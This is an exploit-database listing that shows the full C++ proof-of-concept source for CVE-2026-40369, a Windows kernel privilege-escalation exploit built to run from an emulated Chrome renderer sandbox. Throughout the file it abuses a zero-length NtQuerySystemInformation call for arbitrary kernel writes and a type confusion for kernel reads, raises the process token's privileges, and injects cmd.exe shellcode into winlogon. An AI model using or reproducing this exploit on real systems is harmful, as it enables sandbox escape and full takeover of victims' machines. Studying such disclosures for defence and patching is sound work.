Exploit database

GH-b2c89c9594f3f3d8896d2aa55e043d1d

orinimron123/cve-2026-40369-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-40369

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

full_poc_with_chrome_sandbox_emulator/full_poc.cpp

C++ · 24,773 bytes
#include <windows.h>
#include <winternl.h>

#include <stdio.h>
#include <stdint.h>

#pragma comment(lib, "ntdll.lib")

#define SystemBuildVersionInformation 222
extern "C" int exp_main(void);


#define EMULATE_RENDERER_SANDBOX 1

#ifndef EMULATE_RENDERER_SANDBOX
int main()
{
    exp_main();
}
#endif

#ifndef _DEBUG || defined(EMULATE_RENDERER_SANDBOX)
#define printf(x, ...) (void)(x) // The sandbox halts processes accessing to invalid handles, and the sandbox emulator invalidates the stdout handles.
#endif

#define QUERY_INDEX 9
#define QUERY

using PFN_NtQuerySystemInformationEx = NTSTATUS(NTAPI*)(
    ULONG SystemInformationClass,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );


static NTSTATUS NtQuerySystemInformationEx(
    ULONG  SystemInformationClass,
    PVOID  InputBuffer,
    ULONG  InputBufferLength,
    PVOID  SystemInformation,
    ULONG  SystemInformationLength,
    PULONG ReturnLength
)
{
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    auto NtQuerySystemInformationEx =reinterpret_cast<PFN_NtQuerySystemInformationEx>(GetProcAddress(ntdll, "NtQuerySystemInformationEx"));

    if (!NtQuerySystemInformationEx)
    {
        throw 1;
    }
    
    return NtQuerySystemInformationEx(SystemInformationClass, InputBuffer, InputBufferLength, SystemInformation, SystemInformationLength, ReturnLength);
}

// Output structure: 580 (0x244) bytes total
// Layout from CmQueryBuildVersionInformation decompilation:
//   a3 is _WORD*, offsets below are in WORD units from decompilation,
//   converted to byte offsets for the struct.
//
//   a3[0]  (+0x00) WORD  = LayerIndex
//   a3[1]  (+0x02) WORD  = CmpLayerVersionCount
//   (DWORD*)(a3+1) = +0x04  = v7[0]
//   (DWORD*)(a3+2) = +0x08  = v7[1]
//   (DWORD*)(a3+3) = +0x0C  = v7[2]
//   (DWORD*)(a3+4) = +0x10  = v7[3]
//   a3+10  (+0x14) 128 chars = CmpQueryDowncastString from v7+4  (struct+0x10 UNICODE_STRING)
//   a3+74  (+0x94) 128 chars = CmpQueryDowncastString from v7+16 (struct+0x40 UNICODE_STRING)
//   a3+138 (+0x114) 128 chars = CmpQueryDowncastString from v7+20 (struct+0x50 UNICODE_STRING)
//   a3+202 (+0x194) 128 chars = CmpQueryDowncastString from v7+24 (struct+0x60 UNICODE_STRING)
//   a3+266 (+0x214) 26 chars  = CmpQueryDowncastString from v7+8  (struct+0x20 UNICODE_STRING)
//   a3+279 (+0x22E) 16 chars  = CmpQueryDowncastString from v7+12 (struct+0x30 UNICODE_STRING)
//   (DWORD*)(a3+144) = +0x240 = v7[200] (struct+0x320)

#pragma pack(push, 1)
typedef struct _SYSTEM_BUILD_VERSION_INFORMATION {
    USHORT LayerIndex;          // +0x00
    USHORT LayerVersionCount;   // +0x02
    ULONG  Field_04;            // +0x04
    ULONG  Field_08;            // +0x08
    ULONG  Field_0C;            // +0x0C
    ULONG  Field_10;            // +0x10
    CHAR   String1[128];        // +0x14
    CHAR   String2[128];        // +0x94
    CHAR   String3[128];        // +0x114
    CHAR   String4[128];        // +0x194
    CHAR   String5[26];         // +0x214
    CHAR   String6[16];         // +0x22E
    BYTE   Padding[2];          // +0x23E
    ULONG  Field_240;           // +0x240
} SYSTEM_BUILD_VERSION_INFORMATION, * PSYSTEM_BUILD_VERSION_INFORMATION;
#pragma pack(pop)

void FillAllocationWithUniqueDwordPattern(void* base, size_t size)
{
    if (!base || size < sizeof(uint32_t))
        return;

    uint32_t* p = (uint32_t*)base;
    size_t count = size / sizeof(uint32_t);

    for (size_t i = 0; i < count; ++i)
    {
        // Deterministic unique pattern per DWORD
        p[i] = (uint32_t)i;
    }
}

void* detect_address(void* base, size_t size, uint32_t magic)
{
    for (uint32_t i = 0; i < size - sizeof(magic); i++)
    {
        if (*(DWORD*)((char*)base + i) == magic)
        {
            printf("[+] Found %p!!!\n", (char*)base + i);
            return (char*)base + i;
        }
    }

    printf("[-] address not found..");
    return nullptr;
}

// UNICODE_STRING layout on x64
typedef struct _UNICODE_STRING64 {
    USHORT  Length;
    USHORT  MaximumLength;
    ULONG   Padding;
    ULONG64 Buffer;
} UNICODE_STRING64;

// Fake struct that CmpLayerVersions[idx] points to.
// Only us1 at offset +0x10 is used (-> String1, 128-byte output).
#pragma pack(push, 1)
typedef struct _FAKE_VERSION_STRUCT {
    BYTE             header[0x10];  // +0x00: DWORD region (don't care)
    UNICODE_STRING64 us1;           // +0x10: String1 channel (128 bytes output)
    UNICODE_STRING64 us5;           // +0x20: zeroed (unused)
    UNICODE_STRING64 us6;           // +0x30: zeroed (unused)
    UNICODE_STRING64 us2;           // +0x40: zeroed (unused)
    UNICODE_STRING64 us3;           // +0x50: zeroed (unused)
    UNICODE_STRING64 us4;           // +0x60: zeroed (unused)
    BYTE             pad[0x320 - 0x70];
    ULONG            field_320;     // +0x320
} FAKE_VERSION_STRUCT;
#pragma pack(pop)

// Output struct
#pragma pack(push, 1)
typedef struct _QUERY_OUTPUT {
    USHORT LayerIndex;
    USHORT LayerVersionCount;
    ULONG  Field_04;
    ULONG  Field_08;
    ULONG  Field_0C;
    ULONG  Field_10;
    BYTE   String1[128];       // +0x14
    BYTE   String2[128];       // +0x94
    BYTE   String3[128];       // +0x114
    BYTE   String4[128];       // +0x194
    BYTE   String5[26];        // +0x214
    BYTE   String6[16];        // +0x22E
    BYTE   Padding[2];
    ULONG  Field_240;
} QUERY_OUTPUT;
#pragma pack(pop)

void SetProcessUtf8(void)
{
    PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    *(USHORT*)((BYTE*)peb + 0x34C) = 0xFDE9;
}

static int read_2bytes(FAKE_VERSION_STRUCT* fake, ULONG query_index, ULONG64 kernel_addr, BYTE raw[2])
{
    // Set up the single UNICODE_STRING: read 2 bytes (1 wchar) from kernel_addr
    fake->us1.Length = 2;
    fake->us1.MaximumLength = 2;
    fake->us1.Padding = 0;
    fake->us1.Buffer = kernel_addr;

    QUERY_OUTPUT output{};
    ULONG retLen = 0;

    NtQuerySystemInformationEx(SystemBuildVersionInformation, &query_index, sizeof(query_index), &output, sizeof(output), &retLen);

    // String1 is at output+0x14, max 128 bytes
    BYTE* s = output.String1;

    // Empty output = fault or zero-length conversion
    if (s[0] == 0) {
        raw[0] = 0;
        raw[1] = 0;
        return 0;
    }

    UINT32 wchar_val;

    if ((s[0] & 0x80) == 0) {
        // 1-byte UTF-8: 0xxxxxxx -> U+0000..U+007F
        wchar_val = s[0];
    }
    else if ((s[0] & 0xE0) == 0xC0) {
        // 2-byte UTF-8: 110xxxxx 10xxxxxx -> U+0080..U+07FF
        wchar_val = ((UINT32)(s[0] & 0x1F) << 6)
            | ((UINT32)(s[1] & 0x3F));
    }
    else if ((s[0] & 0xF0) == 0xE0) {
        // 3-byte UTF-8: 1110xxxx 10xxxxxx 10xxxxxx -> U+0800..U+FFFF
        wchar_val = ((UINT32)(s[0] & 0x0F) << 12)
            | ((UINT32)(s[1] & 0x3F) << 6)
            | ((UINT32)(s[2] & 0x3F));
    }
    else {
        raw[0] = 0;
        raw[1] = 0;
        return 0;
    }

    // Check for replacement character U+FFFD = surrogate was hit
    if (wchar_val == 0xFFFD) {
        raw[0] = 0;
        raw[1] = 0;
        return -1;  // caller should retry at offset +/- 1
    }

    // Wchar is little-endian: low byte = wchar & 0xFF, high byte = wchar >> 8
    raw[0] = (BYTE)(wchar_val & 0xFF);
    raw[1] = (BYTE)((wchar_val >> 8) & 0xFF);
    return 2;
}

static int kernel_read(FAKE_VERSION_STRUCT* fake, ULONG query_index, ULONG64 target, ULONG length, BYTE* out)
{
    // Phase 1: read all wchar-aligned pairs
    for (ULONG i = 0; i + 1 < length; i += 2) {
        BYTE raw[2];
        int rc = read_2bytes(fake, query_index, target + i, raw);

        if (rc == 2) {
            out[i] = raw[0];
            out[i + 1] = raw[1];
        }
        else if (rc == -1) {
            // Surrogate: hi byte is 0xD8-0xDF, but we don't know exact value.
            // Mark as unknown, resolve in phase 2.
            out[i] = 0xCC;  // placeholder
            out[i + 1] = 0xCC;
        }
        else {
            // Fault or null wchar
            out[i] = 0x00;
            out[i + 1] = 0x00;
        }
    }

    // Handle odd trailing byte
    if (length & 1) {
        BYTE raw[2];
        int rc = read_2bytes(fake, query_index, target + length - 1, raw);
        if (rc == 2) {
            out[length - 1] = raw[0];
        }
        else {
            out[length - 1] = 0xCC;
        }
    }

    // Phase 2: resolve surrogates by reading at offset-1 (misaligned)
    // If bytes [i] and [i+1] form a surrogate (0xD800-0xDFFF), reading
    // [i-1,i] and [i+1,i+2] as wchars gives us byte[i] and byte[i+1]
    // individually (paired with their neighbors which we already know).
    for (ULONG i = 0; i + 1 < length; i += 2) {
        if (out[i] != 0xCC || out[i + 1] != 0xCC)
            continue;

        // Read [i-1, i] to get byte[i] as the high byte of that wchar
        if (i > 0) {
            BYTE raw[2];
            int rc = read_2bytes(fake, query_index, target + i - 1, raw);
            if (rc == 2) {
                // raw[0] = byte[i-1] (already known), raw[1] = byte[i]
                out[i] = raw[1];
            }
        }
        else {
            // i==0, no byte before it. Read [i, i+1] shifted by reading
            // [i+1, i+2] to at least get byte[i+1].
            // byte[i] remains unknown from this pair.
            // Try reading [i] as low byte of wchar [i, i+1] — but that's
            // the surrogate we already failed on. We need another approach:
            // read byte[i] from a 1-byte context. Since the hi byte is
            // 0xD8-0xDF, and lo byte is unknown, we know hi byte range.
            // We can brute-force: read [i, i+1] tells us it's a surrogate,
            // meaning byte[i+1] is in 0xD8-0xDF. Read [i+1, i+2] to get
            // byte[i+1] paired with byte[i+2].
        }

        // Read [i+1, i+2] to get byte[i+1] as the low byte of that wchar
        if (i + 2 < length) {
            BYTE raw[2];
            int rc = read_2bytes(fake, query_index, target + i + 1, raw);
            if (rc == 2) {
                // raw[0] = byte[i+1], raw[1] = byte[i+2] (already known)
                out[i + 1] = raw[1];
                // Wait — raw[0] is the LOW byte of wchar at [i+1,i+2]
                // That means raw[0] = byte[i+1], raw[1] = byte[i+2]
                out[i + 1] = raw[0];
            }
            else if (rc == -1) {
                // [i+1, i+2] is also a surrogate — byte[i+2] is 0xD8-0xDF too.
                // Extremely unlikely for 3+ consecutive surrogate-range bytes.
                // Fall back: we know byte[i+1] is 0xD8-0xDF from the original read.
                out[i + 1] = 0xD8; // best guess: low end of surrogate range
            }
        }

        // If byte[i] is still unknown, use the misaligned read from above
        // If i > 0, we already resolved it. If i == 0:
        if (i == 0 && out[0] == 0xCC) {
            // byte[0] is the low byte of surrogate wchar [0,1].
            // We know byte[1] is 0xD8-0xDF. byte[0] can be anything.
            // Read [0,1] again — it's a surrogate. No way to get byte[0] alone
            // without a neighbor to pair with.
            // If we have byte[1] from phase 2 above, we know the surrogate
            // value partially. The surrogate U+D800-DFFF means:
            //   wchar = (byte[1] << 8) | byte[0]
            //   0xD800 <= wchar <= 0xDFFF
            // So byte[0] can be 0x00-0xFF. We can't determine it from U+FFFD.
            // Mark it truly unknown.
            out[0] = 0x00;
        }
    }

    return length;
}

static void hexdump(const BYTE* data, int len, ULONG64 base)
{
    for (int i = 0; i < len; i += 16) {
        printf("  %016llX: ", base + i);
        for (int j = 0; j < 16; j++) {
            if (i + j < len) printf("%02X ", data[i + j]);
            else printf("   ");
        }
        printf(" ");
        for (int j = 0; j < 16 && i + j < len; j++) {
            BYTE b = data[i + j];
            printf("%c", (b >= 0x20 && b < 0x7F) ? b : '.');
        }
        printf("\n");
    }
}

#define EPROCESS_UniqueProcessId    0x1D0
#define EPROCESS_ActiveProcessLinks 0x1D8
#define EPROCESS_ImageFileName      0x338
#define EPROCESS_Token              0x248

// RVA of PsInitialSystemProcess in ntoskrnl — get from IDA
// 26200.8039
//#define RVA_PsInitialSystemProcess 0xFC5AB0  // TODO: fill from IDA
//#define RVA_CmpLayerVersionCount 0xEF6E5C
// 26200.8117
//#define RVA_PsInitialSystemProcess 0xFC5AF0  // TODO: fill from IDA
//#define RVA_CmpLayerVersionCount 0xEF6E1C
// 26200.8246
//#define RVA_PsInitialSystemProcess 0xFC5AF0  // TODO: fill from IDA
//#define RVA_CmpLayerVersionCount 0xEF6E7C
// 26200.8328
#define RVA_PsInitialSystemProcess 0xFC5AF0  // TODO: fill from IDA
#define RVA_CmpLayerVersionCount 0xEF7040


#define SystemProcessInformationExtension ((SYSTEM_INFORMATION_CLASS)253)

void write_at(DWORD64 address)
{
    printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
    printf("[*] Target kernel address: %p\n", address);
    printf("[*] Will write:\n");
    printf("      [target+0] += num_processes  (DWORD increment)\n");
    printf("      [target+4] += total_threads  (DWORD add)\n");
    printf("      [target+8] += total_handles  (DWORD add)\n");
    printf("\n");
    printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
    printf("[*] Press Enter to trigger...\n");

    ULONG needed = 0;
    NTSTATUS status = NtQuerySystemInformation(SystemProcessInformationExtension,
        (void*)address,   /* kernel address — ProbeForWrite skipped because Length=0 */
        0,        /* Length=0 bypasses ProbeForWrite entirely */
        &needed
    );

    printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
    printf("[*] Required length: %lu\n", needed);
    printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");
}

BOOL IsDebugPrivilegeEnabled(void) {
    HANDLE hToken;
    PRIVILEGE_SET privs;
    BOOL result = FALSE;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        return FALSE;

    privs.PrivilegeCount = 1;
    privs.Control = PRIVILEGE_SET_ALL_NECESSARY;

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privs.Privilege[0].Luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;

    PrivilegeCheck(hToken, &privs, &result);
    CloseHandle(hToken);
    return result;
}

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

bool InjectToWinlogon()
{
    int pid = 796; // TODO: Do it from process list iteration.

    if (pid < 0)
    {
        printf("Could not find process\n");
        return false;
    }

    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!h)
    {
        printf("Could not open process: %x", GetLastError());
        return false;
    }

    void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!buffer)
    {
        printf("[-] VirtualAllocEx failed\n");
        return false;
    }

    if (!buffer)
    {
        printf("[-] remote allocation failed");
        return false;
    }

    if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
    {
        printf("[-] WriteProcessMemory failed");
        return false;
    }

    HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

    if (hthread == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateRemoteThread failed");
        return false;
    }

    return true;
}

static BOOL PrintPrivileges() {

    HANDLE hTok = NULL;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hTok)) {
        printf("OpenProcessToken failed: %lu\n", GetLastError());
        return 1;
    }


    DWORD cb = 0;
    SetLastError(0);
    if (GetTokenInformation(hTok, TokenPrivileges, NULL, 0, &cb) ||
        GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
        fprintf(stderr, "Size probe failed: %lu\n", GetLastError());
        return FALSE;
    }

    PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), 0, cb);
    if (!tp) return FALSE;

    if (!GetTokenInformation(hTok, TokenPrivileges, tp, cb, &cb)) {
        fprintf(stderr, "GetTokenInformation failed: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, tp);
        return FALSE;
    }

    wprintf(L"PrivilegeCount: %lu\n", tp->PrivilegeCount);
    for (DWORD i = 0; i < tp->PrivilegeCount; ++i) {
        DWORD nlen = 0;
        LookupPrivilegeNameW(NULL, &tp->Privileges[i].Luid, NULL, &nlen);
        if (nlen == 0)
        {
            continue;
        }
        WCHAR* name = (WCHAR*)HeapAlloc(GetProcessHeap(), 0, (nlen + 1) * sizeof(WCHAR));
        if (name && !LookupPrivilegeNameW(NULL, &tp->Privileges[i].Luid, name, &nlen))
            wcscpy_s(name, nlen + 1, L"<lookup-failed>");
        wprintf(L"  - %s (attrs=0x%08x)\n",
            name ? name : L"<unknown>", tp->Privileges[i].Attributes);
        if (name) HeapFree(GetProcessHeap(), 0, name);
    }
    HeapFree(GetProcessHeap(), 0, tp);
    return TRUE;
}


// Find the EPROCESS address of the current process by walking ActiveProcessLinks.
// Returns 0 on failure.
static ULONG64 find_current_eprocess(FAKE_VERSION_STRUCT* fake, ULONG query_index, ULONG64 ntos_base)
{
    DWORD my_pid = GetCurrentProcessId();

    // Step 1: Read PsInitialSystemProcess pointer (QWORD at ntos_base + RVA)
    ULONG64 system_eprocess = 0;
    kernel_read(fake, query_index,
        ntos_base + RVA_PsInitialSystemProcess,
        8, (BYTE*)&system_eprocess);

    if (!system_eprocess) {
        printf("[-] Failed to read PsInitialSystemProcess\n");
        return 0;
    }
    printf("[+] System EPROCESS: 0x%016llX\n", system_eprocess);

    // Step 2: Walk ActiveProcessLinks (circular doubly-linked list)
    // ActiveProcessLinks.Flink at EPROCESS + 0x1D8
    ULONG64 head = system_eprocess + EPROCESS_ActiveProcessLinks;
    ULONG64 current_link = 0;

    // Read System's Flink to start
    kernel_read(fake, query_index,
        head, 8, (BYTE*)&current_link);

    for (int i = 0; i < 1024; i++) {  // safety limit
        if (!current_link || current_link == head)
            break;

        ULONG64 eprocess = current_link - EPROCESS_ActiveProcessLinks;

        // Read UniqueProcessId
        ULONG64 pid = 0;
        kernel_read(fake, query_index,
            eprocess + EPROCESS_UniqueProcessId,
            8, (BYTE*)&pid);

        if ((DWORD)pid == my_pid) {
            // Verify by reading ImageFileName (15 chars at +0x338)
            BYTE name[16] = { 0 };
            kernel_read(fake, query_index,
                eprocess + EPROCESS_ImageFileName,
                15, name);
            printf("[+] Found EPROCESS for PID %u: 0x%016llX (%s)\n",
                my_pid, eprocess, (char*)name);

            return eprocess;
        }

        // Follow Flink to next entry
        ULONG64 next_link = 0;
        kernel_read(fake, query_index, current_link, 8, (BYTE*)&next_link);
        current_link = next_link;
    }

    printf("[-] PID %u not found in process list\n", my_pid);
    throw 1;
}

NTSTATUS query_build_info(DWORD index, SYSTEM_BUILD_VERSION_INFORMATION* info)
{
    ULONG returnLength = 0;
    NTSTATUS status{};

    status = NtQuerySystemInformationEx(SystemBuildVersionInformation, &index, sizeof(index), info, sizeof(*info), &returnLength);

    if (status != 0)
    {
        printf("Index %u: NTSTATUS = 0x%08X (ReturnLength = %u)\n", index, (unsigned int)status, returnLength);
    }

    printf("=== Layer %u ===\n", index);
    printf("  LayerIndex:        %u\n", info->LayerIndex);
    printf("  LayerVersionCount: %u\n", info->LayerVersionCount);
    printf("  Field_04:          0x%08X (%u)\n", info->Field_04, info->Field_04);
    printf("  Field_08:          0x%08X (%u)\n", info->Field_08, info->Field_08);
    printf("  Field_0C:          0x%08X (%u)\n", info->Field_0C, info->Field_0C);
    printf("  Field_10:          0x%08X (%u)\n", info->Field_10, info->Field_10);
    printf("  String1:           \"%s\"\n", info->String1);
    printf("  String2:           \"%s\"\n", info->String2);
    printf("  String3:           \"%s\"\n", info->String3);
    printf("  String4:           \"%s\"\n", info->String4);
    printf("  String5:           \"%s\"\n", info->String5);
    printf("  String6:           \"%s\"\n", info->String6);
    printf("  Field_240:         0x%08X (%u)\n", info->Field_240, info->Field_240);
    printf("\n");

    return status;
}

USHORT get_version_count()
{
    SYSTEM_BUILD_VERSION_INFORMATION info{};
    query_build_info(0, &info);

    return info.LayerVersionCount;
}

_FAKE_VERSION_STRUCT* get_confusion_address(void* confusion_base)
{
    SYSTEM_BUILD_VERSION_INFORMATION info{};
    query_build_info(QUERY_INDEX, &info);

    auto confusion = (_FAKE_VERSION_STRUCT*)detect_address(confusion_base, 0x10000, info.Field_04);
    if (confusion != nullptr && confusion != confusion_base)
    {
        return confusion;
    }

    printf("[*] Confusion not there yet.");

    return nullptr;
}

extern "C" int exp_main(void)
{
    LARGE_INTEGER freq, start, end;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);


    SetProcessUtf8();
    void* p = VirtualAlloc((LPVOID)0x10000, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    FillAllocationWithUniqueDwordPattern(p, 0x10000);

    uint64_t ntos_base = 0xfffff80393a00000;
    _FAKE_VERSION_STRUCT* confusion = nullptr;

    while (get_version_count() < 11)
    {
        write_at(ntos_base + RVA_CmpLayerVersionCount - 11); // Increast count so that we can access next version index
    }

    for (;;)
    {
        confusion = get_confusion_address(p);
        if (confusion == nullptr)
        {
            write_at(ntos_base + RVA_CmpLayerVersionCount + sizeof(DWORD) + (QUERY_INDEX - 1) * sizeof(DWORD64));
        }
        else
        {
            break;
        }
    }

    auto eprocess = find_current_eprocess(confusion, QUERY_INDEX, ntos_base);
    printf("EPROCESS = %p\n", eprocess);

    ULONG64 token_ref = 0;
    kernel_read(confusion, QUERY_INDEX, eprocess + EPROCESS_Token, sizeof(token_ref), (BYTE*)&token_ref);
    ULONG64 token = token_ref & ~0xFULL;
    printf("[+] Token: 0x%016llX (raw EX_FAST_REF: 0x%016llX)\n", token, token_ref);

    for (;;)
    {
        for (int i = 0; i < 24; i++)
        {
            for (uint32_t j = 0; j <= 255; j++)
            {
                write_at(token + 0x42);
                write_at(token + 0x42 + 12);
                //PrintPrivileges();
                if (InjectToWinlogon())
                {
                    printf("SeDebug: %s\n", "ENABLED");

                    QueryPerformanceCounter(&end);
                    double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
                    wprintf(L"Elapsed: %.6f seconds\n", elapsed);

                    while (get_version_count() != 4)
                    {
                        write_at(ntos_base + RVA_CmpLayerVersionCount - 11); // Increast count so that we can access next version index
                    }

                    QueryPerformanceCounter(&end);
                    elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
                    wprintf(L"Elapsed: %.6f seconds\n", elapsed);
                    return 0;
                }

            }

        }
    }

    getchar();

    return 0;
}